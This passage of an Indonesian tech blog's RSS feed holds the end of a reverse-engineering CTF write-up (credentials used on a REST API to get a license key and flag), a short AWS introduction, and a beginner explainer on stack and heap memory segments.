<p><img loading="lazy" decoding="async" class="aligncenter wp-image-143 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641.png" alt="" width="1894" height="693" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641.png 1894w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-300x110.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-1024x375.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-768x281.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-1536x562.png 1536w" sizes="auto, (max-width: 1894px) 100vw, 1894px" /></p>
<p>Pada saat login menggunakan credential yang kita dapatkan hasilnya valid dan bisa dilihat REST API tersebut menyimpan kumpulan license key dan sekarang kita coba ambil 1 untuk diinputkan pada program</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-145 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835.png" alt="" width="982" height="491" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835.png 982w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835-768x384.png 768w" sizes="auto, (max-width: 982px) 100vw, 982px" /></p>
<p>Dan kita coba cek dari footer response API untuk mendapatkan flagnya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-146 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926.png" alt="" width="1031" height="167" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926.png 1031w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-1024x166.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-768x124.png 768w" sizes="auto, (max-width: 1031px) 100vw, 1031px" /></p>
<p><strong>bhitech{Al0n-al0n-pok0k-k3l4k0n}</strong></p>
<h2>Penutup</h2>
<p>Oke jadi itu saja mungkin WriteUP pada challenge RE kali ini semoga teman teman banyak belajar juga dan lebih memahami konsep Reverse Engineering. ya sebenarnya ada reward 70K untuk yang pertama kali solve tapi berhubung tidak ada yang solve jadi uangnya mungkin nanti ku pake beli kopi golda sama rokok dan bengong mikirin dunia didepan indomaret aja hehe<strong><br />
</strong></p>
<p>&nbsp;</p>
<p><em>&#8220;Kamu tidak perlu menjadi luar biasa untuk memulai, tapi kamu harus memulai untuk menjadi luar biasa.&#8221;</em> <strong>&#8211; Zig Ziglar</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/">Reverse Engineering pada executable file</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal Amazon Web Services (AWS)</title>
		<link>https://blog.bhineka-tech.org/2024/09/12/mengenal-amazon-web-services-aws/</link>
					<comments>https://blog.bhineka-tech.org/2024/09/12/mengenal-amazon-web-services-aws/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Thu, 12 Sep 2024 07:57:04 +0000</pubDate>
				<category><![CDATA[cloud]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=55</guid>

					<description><![CDATA[<p>&#160; Pendahuluan Amazon Web Services (AWS) adalah salah satu penyedia layanan cloud computing terkemuka di dunia. Dikenal karena kemampuannya yang luas, skalabilitas, dan fleksibilitas, AWS memungkinkan bisnis dan individu untuk mengakses berbagai layanan teknologi tanpa perlu investasi besar dalam infrastruktur fisik. Apa Itu Amazon Web Service? AWS merupakan sebuah platform cloud yang dikembangkan oleh Amazon.com. [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/12/mengenal-amazon-web-services-aws/">Mengenal Amazon Web Services (AWS)</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2><strong><img loading="lazy" decoding="async" class="wp-image-71 aligncenter" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/09/media_1649ebc3fbbce0df508081913819d491fc3f7c7a9-300x169.png" alt="https://blog.adobe.com/en/publish/2021/08/31/media_1649ebc3fbbce0df508081913819d491fc3f7c7a9.png?width=750&amp;format=png&amp;optimize=medium" width="580" height="327" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/09/media_1649ebc3fbbce0df508081913819d491fc3f7c7a9-300x169.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/09/media_1649ebc3fbbce0df508081913819d491fc3f7c7a9.png 750w" sizes="auto, (max-width: 580px) 100vw, 580px" /></strong></h2>
<p>&nbsp;</p>
<h2><strong>Pendahuluan</strong></h2>
<p style="text-align: left;">A<em>mazon Web Services</em> (AWS) adalah salah satu penyedia layanan cloud computing terkemuka di dunia. Dikenal karena kemampuannya yang luas, skalabilitas, dan fleksibilitas, <em>AWS</em> memungkinkan bisnis dan individu untuk mengakses berbagai layanan teknologi tanpa perlu investasi besar dalam infrastruktur fisik.</p>
<h3>Apa Itu Amazon Web Service?</h3>
<p>AWS merupakan sebuah platform <em>cloud</em> yang dikembangkan oleh <em>Amazon.com</em>. Diluncurkan pada 2006, <em>AWS</em> menyediakan berbagai layanan yang mencakup penyimpanan, komputasi, basisdata, analitik, jaringan, keamanan, dan banyak lagi. <em>AWS</em> dirancang untuk memungkinkan organisasi dari semua ukuran untuk menggunakan sumber daya komputer secara efisien dan efektif dengan model pembayaran berdasarkan penggunaan.</p>
<h3>Layanan Di Dalam AWS</h3>
<ol>
<li>Amazon EC2 (Elastic Compute Cloud)</li>
<li>Amazon S3 (Simple Storage Service)</li>
<li>Amazon RDS (Relational Database Services</li>
<li>Amazon Lambda</li>
<li>Amazon VPC (Virtual Private Cloud)</li>
<li>Amazon DynamoDB</li>
<li>AWS CloudFormation</li>
<li>AWS IAM (Identity and Access Management)</li>
</ol>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/12/mengenal-amazon-web-services-aws/">Mengenal Amazon Web Services (AWS)</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/09/12/mengenal-amazon-web-services-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal heap dan stack memory</title>
		<link>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/</link>
					<comments>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Wed, 11 Sep 2024 07:56:16 +0000</pubDate>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Tak Berkategori]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=53</guid>

					<description><![CDATA[<p>Haloo guyss jadi pada tulisan awal ini aku akan ngebahas suatu hal yang mungkin jarang banget dibahas yaitu heap dan stack tetapi perlu diingat lagi yang kita bahas ini bukan heap/stack pada struktur data ya. Pembahasan ini mungkin menurut sebagian orang itu ga terlalu penting, tetapi pada saat kita ingin mempelajari lebih dalam struktur dari [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/">Mengenal heap dan stack memory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Haloo guyss jadi pada tulisan awal ini aku akan ngebahas suatu hal yang mungkin jarang banget dibahas yaitu heap dan stack tetapi perlu diingat lagi yang kita bahas ini bukan heap/stack pada struktur data ya. Pembahasan ini mungkin menurut sebagian orang itu ga terlalu penting, tetapi pada saat kita ingin mempelajari lebih dalam struktur dari operating system dan pemrograman yang lebih low level stack dan heap ga bisa kita abaikan karena peranan dari mereka ini sangat berguna banget selain untuk memori management mempelajari stack dan heap kita bakal ngerti bagaimana suatu variable, function, string dan keseluruhan data pada program kita di tempatkan pada memory</p>
<p>Sebelum terlalu jauh kita membahas dulu mengenai konsep memory layouting atau tata letak memory. Jadi apa sih yang dimaksud dengan memory ?? secara gampangnya memory itu merupakan suatu refrensi yang menyimpan informasi data dan intruksi yang digunakan secara langsung pada komputer yang kita pake,  Pada saat kita membuat suatu program / software data dan intruksi akan di store pada memory dan memory sendiri terbagi menjadi beberapa segment dan dalam kasus sistem yang menggunakan 64 byte per alamat pada memory ber ukuran 8 byte sedangkan pada 32 byte ukuran alamatnya adalah 4 byte</p>
<p>Saat kita menjalankan suatu program ada 2 area dan processing yang dilakukan dan kita menyebutnya dengan operasi user space dan kernel space</p>
<p><strong>Kernel Space</strong></p>
<p>Operasi input output dan lokasi tempat code dan data kernel disimpan serta dieksekusi biasanya dijalankan melalui system call pada operating unix-like dimana jika ada suatu process yang melakukan system call interupsi akan dikirimkan ke kernel yang kemudian kernel akan melakukan eksekusi dari code yang diberikan, nah dalam hal ini code akan dieksekusi bawah ring 0</p>
<p><strong>User Space</strong></p>
<p>Sekumpulan lokasi dan tempat process user normal berjalan dan process yang berada pada user space ini tidak memiliki akses ke kernel space dan hanya bisa melakukan sebagian kecil operasi kernel dengan bantuan syscall(system call) seperti yang dijelaskan diatas dan umumnya sendiri kita saat memakai operating system linux semua process dan operasi yang kita lakukan ada di area ini</p>
<p>Nah baru disini kita akan ngebahas mengenai memori layouting</p>
<p><img loading="lazy" decoding="async" class="" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/09/memory-layout.png" width="680" height="463" /></p>
<p>Gambar diatas ini merupakan ilustrasi dari tata letak suatu memory yang digunakan pada software/program, jadi gaperlu bingung dulu karena bagian stack, heap, bss, data ,text itu semua ada penjelasannya dan area pada memory itu disebut sebagai virtual space. Kebetulan ruang pertama ada stack dimana stack sendiri itu merupakan area untuk menyimpan semua data seperti variable, argument, parameter maupun return address pada program yang nantinya akan digunakan untuk function call, dan 2 operasi utama pada stack itu dikenal dengan PUSH dan POP dimana PUSH itu dipake untuk memasukkan nilai ke dalam stack sementara POP digunakan untuk mengambil nilai pada stack yang tentunya dengan menggunakan methode LIFO(Last in first out) artinya data yang dimasukkan terakhir akan diambil/dihapus lebih dulu ya secara gampangnya seperti tumpukan piring.</p>
<p>Kedua ada heap nah heap sendiri itu sebenernya sama aja untuk menyimpan suatu data seperti stack tetapi heap ini saat melakukan alokasi pada memory itu bersifat dinamis yang berarti programmer bisa melakukan management memory seperti menentukan kapan memory digunakan dan dibebaskan, dan kalo dalam bahasa C heap ini dikelola oleh fungsi malloc(), realloc() dan free(), dan di area heap ini dimulai di akhir segment bss hingga menuju ke area alamat memory yang lebih tinggi</p>
<p>Lalu ada BSS(block started with symbol) nah bss ini merupakan suatu segment/area pada memory yang menyimpan data yang unitialized/data yang tidak di inisialisasi seperti saat kita mendeklarasikan suatu variable <em>static int heker; atau char namasaya[]; </em>akan dialokasikan pada bss ini</p>
<p>berikutnya ada DATA dan segment ini digunakan untuk menyimpan semua data yang di inisialisasi seperti variable yang sudah kita assign atau berikan suatu nilai contoh: int a = 12; atau char nama[] = &#8220;hengker pro&#8221;; nah jadi variable atau data yang initialized akan disimpan pada segment DATA ini</p>
<p>Terakhir ada TEXT dimana segment ini digunakan untuk menyimpan data yang bersifat read-only seperti intruksi machine code, binary code yang udah di compile maupun informasi debug biasanya ada di segment TEXT karena read-only jadi user tidak bisa melakukan modifikasi pada segment ini</p>
<p>Oke jadi mungkin itu saja penjelasan dasar dari struktur pada memory serta menambah pemahaman kita mengenai stack dan heap serta fungsinya dan mungkin next artikel nanti aku akan membahas secara practical-nya dan kita melihat secara langsung implementasi stack dan heap pada memory pada program yang kita buat, see you semoga bermanfaat <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>&nbsp;</p>
<p>Reference:</p>
<p><a href="https://web.stanford.edu/class/archive/cs/cs107/cs107.1222/lectures/07/Lecture07.pdf">https://web.stanford.edu/class/archive/cs/cs107/cs107.1222/lectures/07/Lecture07.pdf</a></p>
<p><a href="https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap">https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap</a></p>
<p><a href="https://unix.stackexchange.com/questions/87625/what-is-difference-between-user-space-and-kernel-space">https://unix.stackexchange.com/questions/87625/what-is-difference-between-user-space-and-kernel-space</a></p>
<p><a href="https://www.w3schools.com/c/c_strings.php">https://www.w3schools.com/c/c_strings.php</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/">Mengenal heap dan stack memory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
